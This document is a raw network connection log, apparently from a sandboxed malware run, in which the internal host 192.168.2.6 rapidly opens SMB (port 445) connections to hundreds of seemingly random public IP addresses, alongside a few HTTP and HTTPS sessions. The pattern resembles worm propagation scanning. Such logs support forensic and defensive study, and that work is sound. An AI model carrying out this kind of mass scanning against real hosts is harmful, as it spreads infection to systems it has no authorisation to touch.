Dec 22, 2022 10:03:40.471410990 CET	50082	445	192.168.2.6	70.55.43.33
Dec 22, 2022 10:03:40.705990076 CET	50086	445	192.168.2.6	128.192.178.42
Dec 22, 2022 10:03:40.924593925 CET	50090	445	192.168.2.6	219.74.74.201
Dec 22, 2022 10:03:40.956317902 CET	50091	445	192.168.2.6	192.223.228.104
Dec 22, 2022 10:03:41.127535105 CET	50095	445	192.168.2.6	4.41.109.73
Dec 22, 2022 10:03:41.127983093 CET	50096	445	192.168.2.6	99.201.9.136
Dec 22, 2022 10:03:41.192203999 CET	50097	445	192.168.2.6	218.246.141.219
Dec 22, 2022 10:03:41.192241907 CET	50098	445	192.168.2.6	117.159.122.61
Dec 22, 2022 10:03:41.192370892 CET	50099	445	192.168.2.6	60.98.140.154
Dec 22, 2022 10:03:41.192389965 CET	50100	445	192.168.2.6	213.208.147.200
Dec 22, 2022 10:03:41.284239054 CET	50102	445	192.168.2.6	215.122.77.110
Dec 22, 2022 10:03:41.346555948 CET	50103	445	192.168.2.6	71.103.2.52
Dec 22, 2022 10:03:41.580837011 CET	50107	445	192.168.2.6	32.195.77.96
Dec 22, 2022 10:03:41.799351931 CET	50110	445	192.168.2.6	200.210.56.210
Dec 22, 2022 10:03:41.817511082 CET	50111	445	192.168.2.6	169.154.42.84
Dec 22, 2022 10:03:42.034169912 CET	50114	445	192.168.2.6	136.111.6.67
Dec 22, 2022 10:03:42.075172901 CET	50115	445	192.168.2.6	94.81.90.85
Dec 22, 2022 10:03:42.238271952 CET	50119	445	192.168.2.6	84.72.91.219
Dec 22, 2022 10:03:42.238542080 CET	50120	445	192.168.2.6	129.213.249.15
Dec 22, 2022 10:03:42.301182032 CET	50122	445	192.168.2.6	34.207.111.175
Dec 22, 2022 10:03:42.301305056 CET	50123	445	192.168.2.6	29.15.229.183
Dec 22, 2022 10:03:42.301374912 CET	50124	445	192.168.2.6	29.9.5.78
Dec 22, 2022 10:03:42.301594019 CET	50125	445	192.168.2.6	193.242.18.57
Dec 22, 2022 10:03:42.417187929 CET	50126	445	192.168.2.6	223.171.130.44
Dec 22, 2022 10:03:42.457400084 CET	50128	445	192.168.2.6	27.34.48.62
Dec 22, 2022 10:03:42.690517902 CET	50131	445	192.168.2.6	87.49.119.144
Dec 22, 2022 10:03:42.925760031 CET	50134	445	192.168.2.6	60.153.57.64
Dec 22, 2022 10:03:42.932210922 CET	50135	445	192.168.2.6	215.198.29.147
Dec 22, 2022 10:03:43.309366941 CET	50139	445	192.168.2.6	146.68.123.111
Dec 22, 2022 10:03:43.309515953 CET	50140	445	192.168.2.6	216.218.205.158
Dec 22, 2022 10:03:43.410068035 CET	50143	445	192.168.2.6	16.75.21.108
Dec 22, 2022 10:03:43.410300016 CET	50144	445	192.168.2.6	55.96.249.153
Dec 22, 2022 10:03:43.425307035 CET	50145	445	192.168.2.6	58.20.237.146
Dec 22, 2022 10:03:43.425811052 CET	50146	445	192.168.2.6	104.253.50.16
Dec 22, 2022 10:03:43.426461935 CET	50147	445	192.168.2.6	103.86.210.11
Dec 22, 2022 10:03:43.426985979 CET	50148	445	192.168.2.6	1.152.14.250
Dec 22, 2022 10:03:43.520867109 CET	50150	445	192.168.2.6	162.213.246.17
Dec 22, 2022 10:03:43.614204884 CET	50152	445	192.168.2.6	111.52.70.199
Dec 22, 2022 10:03:43.820487022 CET	50154	445	192.168.2.6	111.143.173.218
Dec 22, 2022 10:03:43.831708908 CET	50155	445	192.168.2.6	112.118.110.51
Dec 22, 2022 10:03:44.613446951 CET	50156	445	192.168.2.6	196.63.241.56
Dec 22, 2022 10:03:44.613578081 CET	50157	445	192.168.2.6	157.130.113.53
Dec 22, 2022 10:03:44.773866892 CET	50158	445	192.168.2.6	201.120.244.15
Dec 22, 2022 10:03:44.774081945 CET	50159	445	192.168.2.6	94.63.218.93
Dec 22, 2022 10:03:44.774329901 CET	50160	445	192.168.2.6	14.113.124.35
Dec 22, 2022 10:03:44.775018930 CET	50161	445	192.168.2.6	134.124.178.176
Dec 22, 2022 10:03:44.775435925 CET	50162	445	192.168.2.6	137.209.77.194
Dec 22, 2022 10:03:44.776094913 CET	50163	445	192.168.2.6	149.83.189.178
Dec 22, 2022 10:03:44.776568890 CET	50164	445	192.168.2.6	13.28.79.124
Dec 22, 2022 10:03:44.777182102 CET	50165	445	192.168.2.6	137.135.177.22
Dec 22, 2022 10:03:44.777364969 CET	50166	445	192.168.2.6	18.38.236.203
Dec 22, 2022 10:03:44.778029919 CET	50167	445	192.168.2.6	203.225.199.241
Dec 22, 2022 10:03:44.925295115 CET	50168	445	192.168.2.6	199.131.218.77
Dec 22, 2022 10:03:45.008565903 CET	50169	445	192.168.2.6	120.104.232.121
Dec 22, 2022 10:03:46.610898972 CET	50170	445	192.168.2.6	222.199.126.81
Dec 22, 2022 10:03:46.612314939 CET	50171	445	192.168.2.6	35.253.92.140
Dec 22, 2022 10:03:46.612521887 CET	50172	445	192.168.2.6	213.25.39.170
Dec 22, 2022 10:03:46.613086939 CET	50173	445	192.168.2.6	95.71.20.211
Dec 22, 2022 10:03:46.613261938 CET	50174	445	192.168.2.6	172.37.251.32
Dec 22, 2022 10:03:46.613388062 CET	50175	445	192.168.2.6	64.155.234.138
Dec 22, 2022 10:03:46.613959074 CET	50176	445	192.168.2.6	37.219.132.238
Dec 22, 2022 10:03:46.614598036 CET	50177	445	192.168.2.6	184.150.244.60
Dec 22, 2022 10:03:46.615195990 CET	50178	445	192.168.2.6	59.207.186.141
Dec 22, 2022 10:03:46.615801096 CET	50179	445	192.168.2.6	51.246.116.235
Dec 22, 2022 10:03:46.616348982 CET	50180	445	192.168.2.6	193.49.202.28
Dec 22, 2022 10:03:46.616544962 CET	50181	445	192.168.2.6	55.89.32.45
Dec 22, 2022 10:03:46.617065907 CET	50182	445	192.168.2.6	178.71.197.199
Dec 22, 2022 10:03:46.617254972 CET	50183	445	192.168.2.6	88.211.218.130
Dec 22, 2022 10:03:46.617372036 CET	50184	445	192.168.2.6	10.29.125.228
Dec 22, 2022 10:03:47.722322941 CET	50185	445	192.168.2.6	172.198.129.102
Dec 22, 2022 10:03:47.722474098 CET	50186	445	192.168.2.6	91.90.86.166
Dec 22, 2022 10:03:47.722584009 CET	50187	445	192.168.2.6	93.201.229.95
Dec 22, 2022 10:03:47.722654104 CET	50188	445	192.168.2.6	29.90.240.97
Dec 22, 2022 10:03:47.722867012 CET	50189	445	192.168.2.6	199.26.173.201
Dec 22, 2022 10:03:47.722940922 CET	50191	445	192.168.2.6	164.111.34.9
Dec 22, 2022 10:03:47.722959042 CET	50190	445	192.168.2.6	112.202.155.25
Dec 22, 2022 10:03:47.723006964 CET	50192	445	192.168.2.6	191.154.215.35
Dec 22, 2022 10:03:47.725016117 CET	50193	445	192.168.2.6	63.240.26.41
Dec 22, 2022 10:03:47.725765944 CET	50194	445	192.168.2.6	157.207.156.78
Dec 22, 2022 10:03:47.725833893 CET	50195	445	192.168.2.6	70.22.217.243
Dec 22, 2022 10:03:47.725867033 CET	50197	445	192.168.2.6	221.58.87.226
Dec 22, 2022 10:03:47.725887060 CET	50196	445	192.168.2.6	195.90.153.24
Dec 22, 2022 10:03:47.725922108 CET	50199	445	192.168.2.6	41.167.181.27
Dec 22, 2022 10:03:47.725941896 CET	50198	445	192.168.2.6	39.251.228.149
Dec 22, 2022 10:03:48.614938974 CET	50200	445	192.168.2.6	46.231.11.54
Dec 22, 2022 10:03:48.847071886 CET	50202	445	192.168.2.6	156.136.123.168
Dec 22, 2022 10:03:48.847131014 CET	50203	445	192.168.2.6	85.97.199.116
Dec 22, 2022 10:03:48.847137928 CET	50201	445	192.168.2.6	182.203.142.238
Dec 22, 2022 10:03:48.847213030 CET	50204	445	192.168.2.6	96.28.91.249
Dec 22, 2022 10:03:48.847222090 CET	50205	445	192.168.2.6	149.24.106.70
Dec 22, 2022 10:03:48.847331047 CET	50206	445	192.168.2.6	220.165.193.249
Dec 22, 2022 10:03:48.847351074 CET	50207	445	192.168.2.6	90.219.156.164
Dec 22, 2022 10:03:48.847398996 CET	50208	445	192.168.2.6	100.34.171.217
Dec 22, 2022 10:03:48.850054979 CET	50209	445	192.168.2.6	97.155.186.59
Dec 22, 2022 10:03:48.850115061 CET	50210	445	192.168.2.6	89.157.229.16
Dec 22, 2022 10:03:48.850256920 CET	50211	445	192.168.2.6	75.105.130.132
Dec 22, 2022 10:03:48.850276947 CET	50212	445	192.168.2.6	120.46.37.165
Dec 22, 2022 10:03:48.850367069 CET	50214	445	192.168.2.6	63.128.183.150
Dec 22, 2022 10:03:48.850449085 CET	50213	445	192.168.2.6	85.85.14.24
Dec 22, 2022 10:03:48.850449085 CET	50215	445	192.168.2.6	30.147.158.249
Dec 22, 2022 10:03:49.744543076 CET	50216	445	192.168.2.6	87.45.231.154
Dec 22, 2022 10:03:49.972951889 CET	50217	445	192.168.2.6	116.30.140.108
Dec 22, 2022 10:03:49.973009109 CET	50218	445	192.168.2.6	99.151.162.116
Dec 22, 2022 10:03:49.973097086 CET	50219	445	192.168.2.6	80.145.132.147
Dec 22, 2022 10:03:49.973097086 CET	50220	445	192.168.2.6	28.225.178.182
Dec 22, 2022 10:03:49.973190069 CET	50221	445	192.168.2.6	61.143.239.53
Dec 22, 2022 10:03:49.973262072 CET	50222	445	192.168.2.6	217.178.90.104
Dec 22, 2022 10:03:49.973356962 CET	50223	445	192.168.2.6	60.230.29.168
Dec 22, 2022 10:03:49.973468065 CET	50224	445	192.168.2.6	138.237.138.199
Dec 22, 2022 10:03:49.976597071 CET	50225	445	192.168.2.6	74.213.156.199
Dec 22, 2022 10:03:49.986814022 CET	50226	445	192.168.2.6	52.33.214.181
Dec 22, 2022 10:03:49.992244005 CET	50227	445	192.168.2.6	6.159.243.223
Dec 22, 2022 10:03:49.992589951 CET	50228	445	192.168.2.6	64.226.203.217
Dec 22, 2022 10:03:49.992880106 CET	50229	445	192.168.2.6	156.228.84.130
Dec 22, 2022 10:03:49.993161917 CET	50230	445	192.168.2.6	78.31.158.236
Dec 22, 2022 10:03:49.993738890 CET	50231	445	192.168.2.6	6.212.29.232
Dec 22, 2022 10:03:50.099402905 CET	80	49692	93.184.220.29	192.168.2.6
Dec 22, 2022 10:03:50.099504948 CET	49692	80	192.168.2.6	93.184.220.29
Dec 22, 2022 10:03:50.209785938 CET	49692	80	192.168.2.6	93.184.220.29
Dec 22, 2022 10:03:50.658406019 CET	50232	445	192.168.2.6	138.42.192.46
Dec 22, 2022 10:03:50.863178015 CET	50233	445	192.168.2.6	215.149.227.127
Dec 22, 2022 10:03:51.082884073 CET	50234	445	192.168.2.6	16.79.233.117
Dec 22, 2022 10:03:51.083137989 CET	50235	445	192.168.2.6	12.110.16.161
Dec 22, 2022 10:03:51.083287954 CET	50236	445	192.168.2.6	26.99.91.72
Dec 22, 2022 10:03:51.083408117 CET	50237	445	192.168.2.6	6.27.162.233
Dec 22, 2022 10:03:51.083494902 CET	50238	445	192.168.2.6	207.171.86.204
Dec 22, 2022 10:03:51.083600998 CET	50239	445	192.168.2.6	133.131.83.200
Dec 22, 2022 10:03:51.083658934 CET	50240	445	192.168.2.6	148.185.46.38
Dec 22, 2022 10:03:51.083760023 CET	50241	445	192.168.2.6	128.115.225.241
Dec 22, 2022 10:03:51.083853960 CET	50242	445	192.168.2.6	177.104.176.238
Dec 22, 2022 10:03:51.102148056 CET	50243	445	192.168.2.6	154.52.74.205
Dec 22, 2022 10:03:51.103969097 CET	50244	445	192.168.2.6	66.211.107.186
Dec 22, 2022 10:03:51.104047060 CET	50245	445	192.168.2.6	15.78.122.122
Dec 22, 2022 10:03:51.104054928 CET	50246	445	192.168.2.6	15.51.228.19
Dec 22, 2022 10:03:51.104147911 CET	50248	445	192.168.2.6	87.240.87.40
Dec 22, 2022 10:03:51.104149103 CET	50247	445	192.168.2.6	172.165.28.182
Dec 22, 2022 10:03:51.235856056 CET	445	50248	87.240.87.40	192.168.2.6
Dec 22, 2022 10:03:51.737615108 CET	50248	445	192.168.2.6	87.240.87.40
Dec 22, 2022 10:03:51.753530979 CET	50249	445	192.168.2.6	175.188.137.18
Dec 22, 2022 10:03:51.973014116 CET	50250	445	192.168.2.6	58.35.86.22
Dec 22, 2022 10:03:52.066313028 CET	445	50248	87.240.87.40	192.168.2.6
Dec 22, 2022 10:03:52.191598892 CET	50253	445	192.168.2.6	107.129.68.90
Dec 22, 2022 10:03:52.191617966 CET	50251	445	192.168.2.6	49.47.140.158
Dec 22, 2022 10:03:52.191618919 CET	50252	445	192.168.2.6	221.236.3.51
Dec 22, 2022 10:03:52.191720009 CET	50255	445	192.168.2.6	83.81.126.26
Dec 22, 2022 10:03:52.191745996 CET	50254	445	192.168.2.6	158.217.208.155
Dec 22, 2022 10:03:52.191860914 CET	50256	445	192.168.2.6	79.90.31.107
Dec 22, 2022 10:03:52.191956043 CET	50257	445	192.168.2.6	75.98.79.107
Dec 22, 2022 10:03:52.192020893 CET	50258	445	192.168.2.6	126.200.224.101
Dec 22, 2022 10:03:52.192038059 CET	50259	445	192.168.2.6	110.146.210.241
Dec 22, 2022 10:03:52.210438967 CET	50260	445	192.168.2.6	197.213.218.219
Dec 22, 2022 10:03:52.211745024 CET	50261	445	192.168.2.6	122.90.216.160
Dec 22, 2022 10:03:52.220370054 CET	50262	445	192.168.2.6	9.20.131.106
Dec 22, 2022 10:03:52.220453024 CET	50263	445	192.168.2.6	184.123.107.34
Dec 22, 2022 10:03:52.220558882 CET	50264	445	192.168.2.6	181.238.162.120
Dec 22, 2022 10:03:52.224803925 CET	50265	445	192.168.2.6	40.12.107.168
Dec 22, 2022 10:03:52.660339117 CET	50266	445	192.168.2.6	50.216.1.112
Dec 22, 2022 10:03:52.865384102 CET	50267	445	192.168.2.6	70.95.248.112
Dec 22, 2022 10:03:53.082026005 CET	50268	445	192.168.2.6	199.89.232.145
Dec 22, 2022 10:03:53.311077118 CET	50269	445	192.168.2.6	93.157.195.119
Dec 22, 2022 10:03:53.311446905 CET	50270	445	192.168.2.6	110.125.58.200
Dec 22, 2022 10:03:53.312376022 CET	50271	445	192.168.2.6	96.21.39.116
Dec 22, 2022 10:03:53.312550068 CET	50272	445	192.168.2.6	183.12.84.151
Dec 22, 2022 10:03:53.312654018 CET	50273	445	192.168.2.6	110.246.251.164
Dec 22, 2022 10:03:53.312802076 CET	50274	445	192.168.2.6	173.125.64.247
Dec 22, 2022 10:03:53.312938929 CET	50275	445	192.168.2.6	38.125.10.200
Dec 22, 2022 10:03:53.313009977 CET	50276	445	192.168.2.6	66.183.229.212
Dec 22, 2022 10:03:53.313071012 CET	50277	445	192.168.2.6	23.250.197.48
Dec 22, 2022 10:03:53.335237026 CET	50278	445	192.168.2.6	123.112.72.215
Dec 22, 2022 10:03:53.338129997 CET	50279	445	192.168.2.6	158.161.174.144
Dec 22, 2022 10:03:53.338687897 CET	50280	445	192.168.2.6	201.198.86.134
Dec 22, 2022 10:03:53.339452982 CET	50281	445	192.168.2.6	131.235.52.239
Dec 22, 2022 10:03:53.340692997 CET	50282	445	192.168.2.6	98.125.78.141
Dec 22, 2022 10:03:53.341614962 CET	50283	445	192.168.2.6	73.8.187.229
Dec 22, 2022 10:03:53.769260883 CET	50284	445	192.168.2.6	180.87.204.252
Dec 22, 2022 10:03:53.988435030 CET	50285	445	192.168.2.6	207.70.4.168
Dec 22, 2022 10:03:54.195163965 CET	50286	445	192.168.2.6	135.5.228.193
Dec 22, 2022 10:03:54.425726891 CET	50288	445	192.168.2.6	75.144.159.64
Dec 22, 2022 10:03:54.425808907 CET	50287	445	192.168.2.6	217.49.76.153
Dec 22, 2022 10:03:54.425870895 CET	50289	445	192.168.2.6	184.190.203.23
Dec 22, 2022 10:03:54.425952911 CET	50290	445	192.168.2.6	159.13.149.102
Dec 22, 2022 10:03:54.426086903 CET	50291	445	192.168.2.6	166.204.37.79
Dec 22, 2022 10:03:54.426206112 CET	50292	445	192.168.2.6	160.90.93.207
Dec 22, 2022 10:03:54.426630974 CET	50293	445	192.168.2.6	169.155.75.69
Dec 22, 2022 10:03:54.426727057 CET	50294	445	192.168.2.6	198.98.93.243
Dec 22, 2022 10:03:54.426831961 CET	50295	445	192.168.2.6	126.252.188.0
Dec 22, 2022 10:03:54.441503048 CET	50296	445	192.168.2.6	71.231.208.134
Dec 22, 2022 10:03:54.441972971 CET	50297	445	192.168.2.6	10.172.221.160
Dec 22, 2022 10:03:54.442466974 CET	50298	445	192.168.2.6	116.236.132.152
Dec 22, 2022 10:03:54.442903042 CET	50299	445	192.168.2.6	41.211.236.253
Dec 22, 2022 10:03:54.443429947 CET	50300	445	192.168.2.6	167.86.27.171
Dec 22, 2022 10:03:54.443929911 CET	50301	445	192.168.2.6	163.67.163.79
Dec 22, 2022 10:03:54.677891970 CET	50302	445	192.168.2.6	94.109.181.82
Dec 22, 2022 10:03:54.878880978 CET	50303	445	192.168.2.6	105.106.212.204
Dec 22, 2022 10:03:55.114588022 CET	50304	445	192.168.2.6	41.250.211.238
Dec 22, 2022 10:03:55.300964117 CET	50305	445	192.168.2.6	208.184.123.33
Dec 22, 2022 10:03:55.551974058 CET	50306	445	192.168.2.6	153.141.198.10
Dec 22, 2022 10:03:55.552544117 CET	50307	445	192.168.2.6	12.202.227.227
Dec 22, 2022 10:03:55.554353952 CET	50309	445	192.168.2.6	55.150.126.111
Dec 22, 2022 10:03:55.554369926 CET	50308	445	192.168.2.6	56.239.45.152
Dec 22, 2022 10:03:55.555210114 CET	50310	445	192.168.2.6	86.73.0.91
Dec 22, 2022 10:03:55.556044102 CET	50311	445	192.168.2.6	198.89.245.125
Dec 22, 2022 10:03:55.556267977 CET	50312	445	192.168.2.6	113.245.108.97
Dec 22, 2022 10:03:55.556519032 CET	50313	445	192.168.2.6	46.174.78.114
Dec 22, 2022 10:03:55.556708097 CET	50314	445	192.168.2.6	77.187.30.203
Dec 22, 2022 10:03:55.557492971 CET	50315	445	192.168.2.6	34.16.88.163
Dec 22, 2022 10:03:55.557838917 CET	50316	445	192.168.2.6	79.163.194.241
Dec 22, 2022 10:03:55.557960987 CET	50317	445	192.168.2.6	134.219.177.98
Dec 22, 2022 10:03:55.558192968 CET	50318	445	192.168.2.6	84.251.181.205
Dec 22, 2022 10:03:55.558324099 CET	50319	445	192.168.2.6	103.116.134.195
Dec 22, 2022 10:03:55.558455944 CET	50320	445	192.168.2.6	72.60.85.210
Dec 22, 2022 10:03:55.786370993 CET	50321	445	192.168.2.6	69.35.185.147
Dec 22, 2022 10:03:55.879400969 CET	49705	80	192.168.2.6	173.222.108.226
Dec 22, 2022 10:03:55.879650116 CET	49706	80	192.168.2.6	67.26.73.254
Dec 22, 2022 10:03:55.879650116 CET	49707	80	192.168.2.6	93.184.221.240
Dec 22, 2022 10:03:55.891532898 CET	80	49705	173.222.108.226	192.168.2.6
Dec 22, 2022 10:03:55.891623974 CET	49705	80	192.168.2.6	173.222.108.226
Dec 22, 2022 10:03:55.898603916 CET	80	49707	93.184.221.240	192.168.2.6
Dec 22, 2022 10:03:55.898684025 CET	49707	80	192.168.2.6	93.184.221.240
Dec 22, 2022 10:03:55.900532961 CET	80	49706	67.26.73.254	192.168.2.6
Dec 22, 2022 10:03:55.900682926 CET	49706	80	192.168.2.6	67.26.73.254
Dec 22, 2022 10:03:55.988543987 CET	50322	445	192.168.2.6	87.84.182.158
Dec 22, 2022 10:03:56.223057032 CET	50323	445	192.168.2.6	137.108.30.194
Dec 22, 2022 10:03:56.411700010 CET	50324	445	192.168.2.6	166.57.104.123
Dec 22, 2022 10:03:56.662668943 CET	50326	445	192.168.2.6	191.146.38.94
Dec 22, 2022 10:03:56.663733006 CET	50327	445	192.168.2.6	9.25.38.38
Dec 22, 2022 10:03:56.664920092 CET	50328	445	192.168.2.6	36.205.233.172
Dec 22, 2022 10:03:56.666017056 CET	50329	445	192.168.2.6	119.155.222.162
Dec 22, 2022 10:03:56.667052984 CET	50330	445	192.168.2.6	180.1.137.242
Dec 22, 2022 10:03:56.668226957 CET	50331	445	192.168.2.6	149.165.111.181
Dec 22, 2022 10:03:56.668553114 CET	50332	445	192.168.2.6	209.92.151.2
Dec 22, 2022 10:03:56.668797970 CET	50333	445	192.168.2.6	27.41.68.120
Dec 22, 2022 10:03:56.668991089 CET	50334	445	192.168.2.6	216.36.159.46
Dec 22, 2022 10:03:56.669964075 CET	50335	445	192.168.2.6	203.176.231.4
Dec 22, 2022 10:03:56.670130014 CET	50336	445	192.168.2.6	132.137.51.32
Dec 22, 2022 10:03:56.670222998 CET	50337	445	192.168.2.6	191.101.130.202
Dec 22, 2022 10:03:56.670361042 CET	50338	445	192.168.2.6	207.143.77.160
Dec 22, 2022 10:03:56.670459986 CET	50339	445	192.168.2.6	157.231.144.123
Dec 22, 2022 10:03:56.670567989 CET	50340	445	192.168.2.6	15.126.41.150
Dec 22, 2022 10:03:56.693141937 CET	50341	445	192.168.2.6	133.158.164.107
Dec 22, 2022 10:03:56.851969004 CET	49711	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:03:56.881897926 CET	443	49711	20.90.152.133	192.168.2.6
Dec 22, 2022 10:03:56.907335043 CET	50342	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:03:56.907375097 CET	443	50342	20.90.153.243	192.168.2.6
Dec 22, 2022 10:03:56.907470942 CET	50342	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:03:56.908658028 CET	50342	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:03:56.908710003 CET	443	50342	20.90.153.243	192.168.2.6
Dec 22, 2022 10:03:56.911174059 CET	50343	445	192.168.2.6	97.128.14.106
Dec 22, 2022 10:03:56.925440073 CET	49711	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:03:57.028513908 CET	443	50342	20.90.153.243	192.168.2.6
Dec 22, 2022 10:03:57.028664112 CET	50342	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:03:57.041975975 CET	50342	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:03:57.042036057 CET	443	50342	20.90.153.243	192.168.2.6
Dec 22, 2022 10:03:57.042716026 CET	443	50342	20.90.153.243	192.168.2.6
Dec 22, 2022 10:03:57.044090986 CET	50342	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:03:57.044147968 CET	443	50342	20.90.153.243	192.168.2.6
Dec 22, 2022 10:03:57.044182062 CET	50342	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:03:57.044189930 CET	443	50342	20.90.153.243	192.168.2.6
Dec 22, 2022 10:03:57.044629097 CET	50342	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:03:57.044644117 CET	443	50342	20.90.153.243	192.168.2.6
Dec 22, 2022 10:03:57.086813927 CET	443	50342	20.90.153.243	192.168.2.6
Dec 22, 2022 10:03:57.086930037 CET	443	50342	20.90.153.243	192.168.2.6
Dec 22, 2022 10:03:57.087002039 CET	50342	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:03:57.087229967 CET	50342	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:03:57.087255001 CET	443	50342	20.90.153.243	192.168.2.6
Dec 22, 2022 10:03:57.087275028 CET	50342	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:03:57.113708973 CET	50344	445	192.168.2.6	142.19.18.139
Dec 22, 2022 10:03:57.348114967 CET	50345	445	192.168.2.6	12.190.88.91
Dec 22, 2022 10:03:57.535207033 CET	50346	445	192.168.2.6	176.187.205.44
Dec 22, 2022 10:03:57.785785913 CET	50347	445	192.168.2.6	209.150.72.35
Dec 22, 2022 10:03:57.785984039 CET	50348	445	192.168.2.6	91.208.43.39
Dec 22, 2022 10:03:57.785995960 CET	50349	445	192.168.2.6	42.208.137.57
Dec 22, 2022 10:03:57.786185980 CET	50350	445	192.168.2.6	222.153.137.217
Dec 22, 2022 10:03:57.786205053 CET	50351	445	192.168.2.6	49.6.83.106
Dec 22, 2022 10:03:57.786338091 CET	50352	445	192.168.2.6	184.169.163.162
Dec 22, 2022 10:03:57.786375046 CET	50353	445	192.168.2.6	77.44.229.214
Dec 22, 2022 10:03:57.786464930 CET	50354	445	192.168.2.6	36.131.198.41
Dec 22, 2022 10:03:57.788666964 CET	50355	445	192.168.2.6	156.141.47.65
Dec 22, 2022 10:03:57.788860083 CET	50356	445	192.168.2.6	27.153.177.245
Dec 22, 2022 10:03:57.788942099 CET	50357	445	192.168.2.6	196.174.237.49
Dec 22, 2022 10:03:57.788959026 CET	50358	445	192.168.2.6	159.106.183.152
Dec 22, 2022 10:03:57.789098024 CET	50359	445	192.168.2.6	57.191.19.152
Dec 22, 2022 10:03:57.789148092 CET	50360	445	192.168.2.6	221.215.149.235
Dec 22, 2022 10:03:57.789191008 CET	50361	445	192.168.2.6	183.119.202.141
Dec 22, 2022 10:03:57.800740004 CET	50362	445	192.168.2.6	4.108.81.39
Dec 22, 2022 10:03:57.823003054 CET	80	49709	93.184.220.29	192.168.2.6
Dec 22, 2022 10:03:57.823123932 CET	49709	80	192.168.2.6	93.184.220.29
Dec 22, 2022 10:03:58.025192976 CET	50363	445	192.168.2.6	61.26.74.91
Dec 22, 2022 10:03:58.224025965 CET	50364	445	192.168.2.6	132.48.55.51
Dec 22, 2022 10:03:58.458264112 CET	50365	445	192.168.2.6	130.1.212.61
Dec 22, 2022 10:03:58.681246996 CET	50366	445	192.168.2.6	6.220.115.132
Dec 22, 2022 10:03:58.709121943 CET	50367	445	192.168.2.6	8.63.149.215
Dec 22, 2022 10:03:58.929861069 CET	50368	445	192.168.2.6	72.16.190.213
Dec 22, 2022 10:03:58.929923058 CET	50369	445	192.168.2.6	84.138.114.210
Dec 22, 2022 10:03:58.930068970 CET	50370	445	192.168.2.6	218.243.115.119
Dec 22, 2022 10:03:58.930088997 CET	50371	445	192.168.2.6	56.39.113.25
Dec 22, 2022 10:03:58.930239916 CET	50372	445	192.168.2.6	167.16.91.104
Dec 22, 2022 10:03:58.930247068 CET	50373	445	192.168.2.6	203.231.148.109
Dec 22, 2022 10:03:58.930404902 CET	50375	445	192.168.2.6	59.56.189.95
Dec 22, 2022 10:03:58.930469036 CET	50374	445	192.168.2.6	33.72.212.177
Dec 22, 2022 10:03:58.931377888 CET	50376	445	192.168.2.6	205.242.145.43
Dec 22, 2022 10:03:58.932910919 CET	50377	445	192.168.2.6	58.111.82.55
Dec 22, 2022 10:03:58.932975054 CET	50378	445	192.168.2.6	57.235.97.7
Dec 22, 2022 10:03:58.933187962 CET	50379	445	192.168.2.6	198.86.251.23
Dec 22, 2022 10:03:58.933248997 CET	50382	445	192.168.2.6	137.54.168.117
Dec 22, 2022 10:03:58.933253050 CET	50381	445	192.168.2.6	142.1.216.193
Dec 22, 2022 10:03:58.933346033 CET	50383	445	192.168.2.6	58.7.25.130
Dec 22, 2022 10:03:58.933371067 CET	50380	445	192.168.2.6	205.85.226.130
Dec 22, 2022 10:03:59.146276951 CET	50384	445	192.168.2.6	57.18.178.197
Dec 22, 2022 10:03:59.352803946 CET	50385	445	192.168.2.6	122.236.153.167
Dec 22, 2022 10:03:59.583735943 CET	50386	445	192.168.2.6	25.155.24.86
Dec 22, 2022 10:03:59.801845074 CET	50387	445	192.168.2.6	132.91.69.137
Dec 22, 2022 10:03:59.818605900 CET	50388	445	192.168.2.6	109.56.137.170
Dec 22, 2022 10:04:00.037040949 CET	50389	445	192.168.2.6	202.29.202.227
Dec 22, 2022 10:04:00.037378073 CET	50390	445	192.168.2.6	124.188.64.116
Dec 22, 2022 10:04:00.052828074 CET	50391	445	192.168.2.6	25.72.184.225
Dec 22, 2022 10:04:00.053070068 CET	50392	445	192.168.2.6	87.252.26.142
Dec 22, 2022 10:04:00.053301096 CET	50393	445	192.168.2.6	158.89.95.30
Dec 22, 2022 10:04:00.053704023 CET	50394	445	192.168.2.6	5.245.103.213
Dec 22, 2022 10:04:00.054059982 CET	50395	445	192.168.2.6	105.139.80.58
Dec 22, 2022 10:04:00.054265976 CET	50396	445	192.168.2.6	193.135.149.65
Dec 22, 2022 10:04:00.054493904 CET	50397	445	192.168.2.6	29.118.15.197
Dec 22, 2022 10:04:00.054831028 CET	50398	445	192.168.2.6	195.122.248.166
Dec 22, 2022 10:04:00.055150986 CET	50399	445	192.168.2.6	185.59.158.209
Dec 22, 2022 10:04:00.059462070 CET	50400	445	192.168.2.6	172.170.131.43
Dec 22, 2022 10:04:00.059799910 CET	50403	445	192.168.2.6	90.73.28.134
Dec 22, 2022 10:04:00.059807062 CET	50401	445	192.168.2.6	107.69.30.115
Dec 22, 2022 10:04:00.060022116 CET	50404	445	192.168.2.6	45.101.19.51
Dec 22, 2022 10:04:00.060074091 CET	50402	445	192.168.2.6	94.33.54.10
Dec 22, 2022 10:04:00.153564930 CET	50405	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:04:00.153615952 CET	443	50405	20.90.152.133	192.168.2.6
Dec 22, 2022 10:04:00.153688908 CET	50405	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:04:00.154580116 CET	50405	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:04:00.154601097 CET	443	50405	20.90.152.133	192.168.2.6
Dec 22, 2022 10:04:00.269830942 CET	50406	445	192.168.2.6	147.90.43.163
Dec 22, 2022 10:04:00.273916960 CET	443	50405	20.90.152.133	192.168.2.6
Dec 22, 2022 10:04:00.274003029 CET	50405	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:04:00.276532888 CET	50405	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:04:00.276565075 CET	443	50405	20.90.152.133	192.168.2.6
Dec 22, 2022 10:04:00.277394056 CET	443	50405	20.90.152.133	192.168.2.6
